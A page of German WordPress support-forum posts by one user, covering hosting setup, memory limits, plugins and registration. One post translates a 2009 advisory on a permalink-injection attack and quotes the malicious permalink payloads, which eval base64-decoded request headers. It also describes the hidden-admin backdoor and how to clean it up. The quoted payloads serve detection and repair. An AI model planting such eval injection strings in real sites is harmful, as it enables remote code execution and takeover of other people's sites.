Beiträge von Domino5702

    Zitat

    Dann habe ich die Hotline von 1und 1 angerufen und die haben gesagt, dass ich als Heimatverzeichniss Wordpress einstellen muss.
    Ok hab ich gemacht.

    Hallo,

    Wo hast Du das gemacht? Hast Du die ganzen Verzeichnisse und Dateien mit Deinem FTP-Programm verschoben? - Ich glaube mal nicht, zumindest Dein style.css liegt dort, wo er in einer Standard-Installation liegen sollte, also eine Verzeichnisstruktur ohne "wordpress"-Unterordner. Oder hast Du im Control Center was umgestellt? Ist es eine eigenständige Wordpress Installation oder das Angebot von 1&1?

    Sorry, aber das sind einfach noch zu wenig genaue Angaben, um wirklich helfen zu können.

    LG Domi

    Hallo nochmal,

    Zitat

    Mein memory_limit steht auf 32M laut php_info(), daher habe ich in der wp-config.php define('WP_MEMORY_LIMIT', '32M'); als 2 Zeile ergänzt.


    Also, wenn der schon auf 32 ist, nützt Dir die Zeile ja in dieser Form gar nichts. Und ob Du selber am memory-limit schrauben kannst, darfst, hängt vom Hoster ab. Erkundige Dich mal, ob das Limit erhöht werden könnte.

    LG Domi

    Ja und nein:

    Es kann sein, dass sich einzelne Plugins, welche sich mit 2.7. vertragen haben, mit 2.8. auf Kriegsfuss stehen.

    Ebenfalls möglich ist, dass der Speicherhunger - der bei 2.8. grösser ist als bei 2.7. - einen Abbruch der Skriptausführung verursacht, sodass eben Dein Wordpress im Nirwana stehen bleibt.

    Wenn Du nicht in den Admin-Bereich kommst, wird auch die Lösung vermutlich nicht eine Sache von wenigen Minuten werden. Um es vielleicht mal einzugrenzen: erst den Plugins-Ordner umbenennen (per FTP oder Confixx oder eine sonstige Oberfläche, dann starten versuchen. Wenn noch immer nicht, auch den Ordner Deines Themes umbenennen, damit Wordpress mit dem default-Theme startet. (Also nur das von Dir zuvor aktivierte Theme, nicht den Themes-Ordner, indem das default-Theme auch liegt.)

    Mit diesen beiden Schritten hast Du den Speicherbedarf auf das Minimum heruntergeschraubt. Danach kann man weiterschauen.


    LG Domi

    PS. Ich hatte heute morgen das Problem auch, aber bei mir war es klar, dass nur ein neues Plugin schuld sein konnte.

    Zitat

    ich finde das Registrierungsformular für "Member only" nicht.

    Wenn ein User nicht registriert ist, wird er doch zur WP-Loginseite umgeleitet, und da müsste doch unter den beiden Feldern auch ein Link zur Registrierung sein. Als registriertes Mitglied bekommt er ein abgespecktes Backend. Müsstest Du anschauen, ob Du das willst.

    LG Domi


    Whoppy:

    Zitat

    Ich glaube wenn sich jeder registrieren kann bräuchtest du das Plugin nicht, oder?


    Wenn ich mich recht erinnere, Members Only sorgt dafür, dass der Blog nur durch eingeloggte Besucher gelesen werden kann. Registrieren kann sich zwar jeder, aber eben, Lesen erst nach Registriereung

    Ich kenne zwar all-inkl nur dem Namen nach, aber was ist bitte Dein "frisches FTP"; und wenn Du meinst, Du hast mittels eines FTP Programms die Dateien hochgeladen, dann hast Du doch auch die Möglichkeit nachzuschauen, ob es diese Datei an dem Ort gibt. Die index.html im Root kannst Du auch gleich löschen, denn Dein Verzeichnis ist durch die index.php der Wordpress-Core Dateien in gleicher Wesie abgesichert, wie das durch die html beabsichtigt ist: es verhindert ein Anzeigen der Verzeichnis-Struktur im Browser.

    Ansonsten erscheinen mir Deine Angaben konsistent und richtig, aber wie gesagt, ich kenne den Hoster nicht aus eigener Erfahrung.

    LG Domi

    Hallo, das hat mit Sicherheit mit der verfügbaren Memory für die Ausführung von PHP-Skripts zu tun. Ich habe dieses Problem auch bei einigen Installationen schon gehabt. Je nach Hoster kannst Du selbst was tun, bzw. vom Hoster machen lassen, hierzu gibt es schon einige Artikel hier im Forum, und Du kannst mich auch anschreiben, wenn Du nicht weiter kommst. Wenn diese beiden Möglichkeiten nicht zur Verfügung stehen, geht es über einen Work-Around trotzdem, dass Du letzten Ende die Bilder in der genannten ersten Grösse anzeigen lassen kannst. Auch dies habe ich bereits mal beschrieben hier im Forum.

    LG Domi

    Zitat

    "Das wichtigste ist natürlich eine ständig aktuelle Version zu haben" -> mein früherer Admin, der in einem Programierzentrum arbeitet, empfahl mir, dass ich ihm zusage, nicht die updates "sofort nach dem Erscheinen" zu installieren. Da ich mich "blind" auf ihn verlassen habe, habe ich seine Empfehlung auch fortgesetzt.

    Nicht alle Software-Entwickler missbrauchen den Benutzer als Betatester à la Microsoft, aber keine Software ist in der heutigen komplexen IT-Welt frei von Fehlern, wenn es ausgeliefert wird. Wer die letzten Releases von Wordpress verfolgt hat, sah Empfehlungen, es wurde darauf hingewiesen, weshalb neue Releases innerhalb so kurzer Zeitabstände notwendig geworden sind. Dann ist es an jedem Nutzer, die Dringlichkeit und Notwendigkeit zu beurteileen.

    Zitat

    "Selbstständige Nutzer-Registrierungen sollte man auch nur wenn es umbedingt notwendig ist erlauben."
    -> Ich kann diese Meinung aus Sicherheitsgründen verstehen, jedoch bei politischen Seiten will man ja Meinungen austauschen. Daher ein kleiner Einwand, bezogen auf meine Seite.

    "Lieber Nutzer von Hand auswählen" -> das ist eine hinzunehmende Einschänkung, unkomfortabel für neue Leute, aber aus der Sicht Sicherheit in Ordnung!

    Es ist absolut verständlich, und auch rechtlich notwendig, eine gewisse Identifizierbarkeit der Autoren und Kommentatoren (was ja die Registrierung notwendig macht) zu gewährleisten. In Deinem Falle musst Du Registrierung verlangen. Aber Du musst sie nicht unmittelbar freischalten, das ist in Wordpress einstellbar, notfalls mit Hilfe von Plugins.

    Vielleicht kann man da eine Aufteilung vornehmen, einerseits Blog, andererseits Forum. Im Blog hättest Du nur Autoren, die registriert sein müssen, während das Forum freier sein könnte, mit anderen Registrierungsanforderungen. Das kann aber schnell komplex werden und es ist nicht immer leicht, den Besuchern der Seiten die Struktur zu erklären.

    LG Domi

    Ich zweifle ja nicht an Deiner redlichen Absicht. So wie ich es verstanden habe, wird zunächst ein "versteckter Admin" eingescheust, dessen Hauptaufgabe darin besteht, die Backdoor, die in den Permalinks etabliert wird, offen zu halten, bzw immer wieder neu zu öffnen. Die Abwehr besteht ja auch aus 3 Stufen: Admin ausschalten, Permalinks bereinigen, Update fahren. Es wird in allen seriösen Quellen darauf hingewiesen, dass man das nicht mal "eben schnell" erledigen kann, und man vom Hintergrund was verstehen (lernen) muss.

    Naja, die im Journey.etc-Artikel beschriebene Methode identifiziert den vermuteten Übeltäter eindeutig, während dem bei Deiner Vorgehensweise 3 Unschuldige über die Klinge springen mussten. Ich weiss nur, dass ich mich auf einer Website nicht wieder anmelden würde, wo mit mir so umgegangen wird, aber das muss jeder Webmaster für sich entscheiden.

    LG Domi

    PS. Siehe auch mein PN an Dich.

    OK, hier ist der Tipp, der den Schaden erst einmal eingrenzt. Der Autor des Beitrages weist ausdrücklich darauf hin, dass er zunächst einmal möglichst schnell eine Hilfe anbieten wollte, und seine Methode nicht fehlerfrei sein könnte. Der Stand ist 5.09.2009.

    Wer sich nicht sicher genug fühlt, derartige Eingriffe in sein System vorzunehmen, sollte dies einemn Profi überlassen!

    Gelesen bei Journey.etc : (Übersetzung von mir)

    [FONT=&quot]Wenn Sie Wordpress nicht in der aktuellsten Version (2.8.4) verwenden, sollten Sie umgehend die Permalinks / RSS Feed-Einstellungen Ihres Blogs überprüfen. Fals diese in etwa so aussehen:[/FONT]

    [FONT=&quot] “%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/”[/FONT]
    [FONT=&quot]oder[/FONT]
    [FONT=&quot]“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%[/FONT]
    [FONT=&quot]oder[/FONT]
    [FONT=&quot]‘error on line 22 at column 71: xmlParseEntityRef: no name wordpress’ für Ihren Feed[/FONT]

    [FONT=&quot]Sind Sie Opfer einer neuen Welle von Angriffen auf Blogs geworden.[/FONT]

    [FONT=&quot]Was ist zu tun:[/FONT]

    [FONT=&quot]-[/FONT][FONT=&quot]Unter Einstellungen -> Permalinks den schadhaften Code entfernen[/FONT]
    [FONT=&quot]-[/FONT][FONT=&quot]Unter Benutzern, werden Sie feststellen, dass mehr Administratoren aufgelistet werden, als Sie erwarten[/FONT]


    [FONT=&quot]Bewegen Sie den Mauszeiger über den Benutzer, der als neuester Administrator eingetragen ist, klicken Sie den Link zum Bearbeiten der URL und kopieren Sie die Link Adresse, und fügen anschliessend diese in die Adresszeile Ihres Browsers ein, wobei Sie die laufende Ziffer hinter „user_id=“ um 1 erhöhen.[/FONT]


    Bild


    [FONT=&quot]Sie werden auf diese Weise den versteckten Administrator finden, dessen Vornamen-Feld einen eigenartigen Code enthält. Löschen Sie diesen Code, und setzen Sie die Rolle dieses Benutzers auf Abonnent. Kehren Sie zur Liste der Benutzer zurück, und löschen Sie den nun sichtbaren zusätzlichen Benutzer.[/FONT]

    [FONT=&quot]Dies sollte den Angriff stoppen. Vergessen Sie nicht, auf die neueste Wordpress-Version zu aktualisieren. [/FONT]

    OK, den absoluten Pfad, der nicht die Adresse Deines Blogs ist, verrät Dir Dein Hoster, oder er lässt sich auch mit phpinfo auslesen. Die von jottlieb gestellte Frage, ob htaccess und mod_rewrite unterstützt werden, bleibt für mich ebenfalls offen, und kann definitiv auch vom Hoster beantwortet werden. Ich hatte vergangene Woche in einem anderen Beitrag übrigens einen Link eingestellt, zu einem Artikel, wie ohne mod_rewrite pretty-links realisiert werden können.

    LG Domi

    Sowohl hier im Forum wie auch anderenorts häuften sich in den vergangenen 2 Tagen Meldungen von eigenartigen Vorkommnissen bei selbst gehosteten Wordpress Installationen, welche unter 2.8.3 und früher laufen. Zwei klare Hinweise auf einen bereits erfolgten Befall sind seltsam veränderte Permalinks sowie die Anzeige von mehr Administratoren (gemeint ist die Zahl in der Klammer auf der betreffenden Seite) als man sich bewusst ist, Administratoren eingerichtet zu haben.

    Es gibt zwei hervorragende englisch sprachige Artikel, die Lösungsansätze anbieten. Ich werde diese Artikel heute abend noch übersetzen und zur Verfügung stellen. Ab morgen früh dürften beide Artikel bereit sein.

    LG Domi

    Der von NHQ zitierte Abschnitt sagt im Wesentlichen: die in Wordpress eingebaute Export-Funktion nutzen, um alle Beiträge zu sichern, Wordpress deinstallieren und neu einrichten mit der Version 2.8.4 (also auch insbesondere Plugins und Theme) und danach die Inhalte wieder importieren. Die Dokumentation liefert Dir weitere Hilfen. Zu beachten ist, dass die von Dir vorgenommenen Änderungen an Wordpress-Core Dateien dabei verloren gehen, somit erneut vorgenommen werden müssen. Ebenfalls ratsam ist es, seinen Plugin und Theme Ordner zu sichern und nach dem Update wieder zurückzuspielen.

    Es ist keine Kleinigkeit, ich rate Dir dazu, dies von einem Fachmann, der mit Deiner Installation vertraut ist, machen zu lassen.

    LG Domi

    Hallo NHQ,

    Die meinte ich auch nicht .... denn diese Quellen haben auch klar geschrieben, dass die aktuelle Version nicht betroffen ist. Weshalb zitierst Du nicht den Absatz - daher die Vermutung, dass das lesen von Zahlen auch in der fremden Sprache auf Schwierigkeiten stösst ;)

    Hallo Turbo,

    Meiner Ansicht nach: wenn Du schon die aktuelle Version 2.8.4 hast, dann Sprachdatei hochladen, und zwar in den Ordner wp-content/languages - und in der wp-config.php in der Zeile mit der Sprachdefinition anpassen:

    Zitat

    define ('WPLANG', 'de_DE');

    So sollte die Zeile aussehen.

    Wenn Du nicht die aktuellste Version von Wordpress einsetzt, ist es innerhalb der 2.8er Versionen möglich, über die englischen Dateien die deutsche zu laden, wobei natürlich dann Veränderungen, die Du an dem Code direkt vorgenommen hast, verloren gehen könnten. Es wäre schön, wenn ein Mitglied des Teams dies bestätigen könnte, denn meine eigene Erfahrung erstreckt sich nur ab Version 2.8.2, da habe ich mehrere Blogs einfach drübergebügelt.

    Auf jeden Fall ist ein Backup aber vor dem Update empfehlenswert, und dabei die Datenbank nicht vergessen.

    LG Domi